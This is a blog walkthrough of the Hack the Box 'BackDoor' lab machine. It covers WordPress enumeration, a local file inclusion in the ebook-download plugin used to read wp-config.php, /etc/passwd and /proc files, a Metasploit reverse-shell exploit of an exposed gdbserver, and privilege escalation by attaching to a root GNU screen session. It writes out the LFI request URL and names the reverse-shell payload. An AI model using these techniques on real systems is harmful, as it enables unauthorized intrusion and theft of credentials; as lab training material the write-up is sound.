top of page
BlueDolphin

Hack the Box - BackDoor

Updated: May 28, 2022


Work flow

Summary

Another easy machine that required several twists and turn along the way to root.

Starting off with a narrow attack surface on top of wordpress we find a plugins folder that reveals the use of a vulnerable plugin "ebook". From here we leverage a LFI vulnerability and this opens the door to dumping tcp information and discovering a hidden GDB server on port 1337. With the Metasploit console we can gain access as a user.


From here we conduct internal enumeration that reveals a root sessions of the "GNU screen" application. Researching the use of GNU screen we learn we can list existing sessions. Here we see the root session and attach to this session for access as root.

Tools Used
  • Dirbuster

  • whatweb

  • wpscan

  • metasploit

  • linpeas

  • gnu screen

Processes/techniques
  • dirbusting

  • wordpress enumeration

  • local file inclusion

  • GNU screen attaching

References
Enumeration

We start off with some basic enumeration and learn we have a very narrow attack surface. From here we conduct a more in depth scan. This is performed by using the NMAP flags


sC - use nse default enum scripts

sV - enumerate for versions


On further look we learn that port 22 is hosting SSH.

Port 80 is an Apache server running 2.4.41 with a banner that displays backdoor Real-Life. The banner also runs WordPress 5.8.1 which will require further investigation.

Port 5999 is currently filtered.


Web enumeration

From here we know that WordPress is running so we utilize "whatweb". The WhatWeb tool helps in identifying websites by recognizing web technologies. This includes content management systems, (CMS), blogging platforms, static/analytics packages, JavaScript libraries, web server, and embedded devices.


WhatWeb is highly customizable with over 900 plugins, each to help recognize something different. WhatWeb also looks for identification version numbers, email addresses, accounts ID's, web framework modules, SQL errors and more.


Apache - 2.4.41

HTTPServer - Ubuntu Linux

JQuery - 3.6.0

MetaGenerator - WordPress 5.8.1

Poweredby WordPress - 5.8.1

Title - Backdoor


From here we enumerate WordPress 5.8.1 and look for exploits



Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://backdoor.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://backdoor.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://backdoor.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://backdoor.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09).
 | Found By: Rss Generator (Passive Detection)
 |  - http://backdoor.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>
 |  - http://backdoor.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://backdoor.htb/wp-content/themes/twentyseventeen/
 | Last Updated: 2022-01-25T00:00:00.000Z
 | Readme: http://backdoor.htb/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.9
 | Style URL: http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208, Match: 'Version: 2.8'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:04 <======================> (137 / 137) 100.00% Time: 00:00:04

[i] No Config Backups Found.


Dirbusting initially provides allot of results. But when we look recursively into the wp-content folder we see a plugin folder and learn about the ebook plugin.


Researching wordpress ebook exploit provides may results and we start from the top and land a useful found on exploit db.


We first see that this exploit is for version 1.1 which we will need to confirm.


We have a look at the POC of the payload and fortunately it is a simple LFI vulnerability.


Looking at the readme.txt of the file shows us we are indeed using version 1.1 and this exploit is indeed the matching version and therefore has potential.


Looking at the readme.txt confirmed the version of "stable tag" is 1.1.

=== Plugin Name ===
Contributors: zedna
Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=3ZVGZTC7ZPCH2&lc=CZ&item_name=Zedna%20Brickick%20Website&currency_code=USD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted
Tags: ebook, file, download
Requires at least: 3.0.4
Tested up to: 4.4
Stable tag: 1.1
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html

Allow user to download your ebook custom file when insert an email.

Testing the vulnerability actually works and we receive the wp-config.php file.


Juicy information was found in this config file, however these credentials did not work on the wp-admin login page. So we will keep them in our back pocket for later if we perhaps have a MySQL server.


To further test our LFI vulnerability we target the /etc/password file in order to provide user information. It works and we successfully download and inspect the etc/passwd file.



/../etc/passwd/../etc/passwd/../etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
<script>window.close()</script>

From here we understand there is a possible mySQL server running. We can't inject commands such as netstat in order to help determine the port of this mySQL server. We can however reference the /proc/net/tcp file file for a list of all active connections.

Reading this file however is not so straight forward. I had to reference the guide here.

https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt



With out /proc/net/tcp file on the left, we follow the instructions to identify our ports which are displayed in hexadecimal. We convert these to decimal and eventually find port 1337. We did in fact enumerate all the ports here and 1337 was the only open port. On top of that, it is a bit of an easter egg given the leet port number.


Running and nmap scan shows us the port is indeed open and the service is waste.


From here we couldn't interact with this port "waste" so we had to dive deeper.

Some research lead to the guide below which provided the /proc/sched_debug/ folder which holds information related to the active processes.



We download /proc/sched_debug file using our LFI vulnerability and notice that there was a gdbserver running which is quite anomalous and warrants further investigation. We can actually pull the specific commands involved in running that PID "22997" by downloading that PID folder where the read/writes occure.


This is accomplished below.


10.129.96.68/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/22997/cmdline

From here we look at the file and learn that the GDBServer is indeed on our 1337 port.

┌──(kali㉿kali)-[~/Downloads]
└─$ cat cmdline              
/proc/22997/cmdline/proc/22997/cmdline/proc/22997/cmdlinegdbserver--once0.0.0.0:1337/bin/true<script>window.close()</script>             

Initial foothold

From here we configure the metasploit options.

We have to pay particular attention to the Exploit target ensuring it is of x64 architecture. We also pay particular attention to the payload, which is to be /linux/x64/shell_reverse_tcp as indicated in the exploit found on exploit DB.



We run the exploit and it works for access as user.


Root

We perform our initial shell upgrade as usual with python3 -c 'import pty; pty.spawn("/bin/bash")'.


From here we upload linpeas as usual. From here, the GNU screen application executed as a cron job catches our eye. We can see it was run as root and carries an active session. However I don't know anything about the GNU screen application.


We do a little research on the wiki.

https://en.wikipedia.org/wiki/GNU_Screen


We do some research for exploits. Even check GTFO bins.


Here we find a vulnerability which however is for a different version of GNU screen. We confirm this buy checking the version of our GNU screen.


We use the info screen command and just check the header of the output.

T


Because the application was running as root, we look at the application manual.


Upgraded shell from here.

python3 -c 'import pty; pty.spawn("/bin/bash")'


Ran the screen command and received a weird error.


Running pspy64 for more information.


We satisfy the error by exporting the terminal required.


From here we are able to execute the screen command and pass appropriate flags.


We have several screens available to us and one of them is root. Unfortunately this was only because I had exploited this earlier and had not realized it with the following CVE.

https://www.exploit-db.com/exploits/41154


Switching screens however gave me access as root.


500 views0 comments

Recent Posts

See All

Commentaires


bottom of page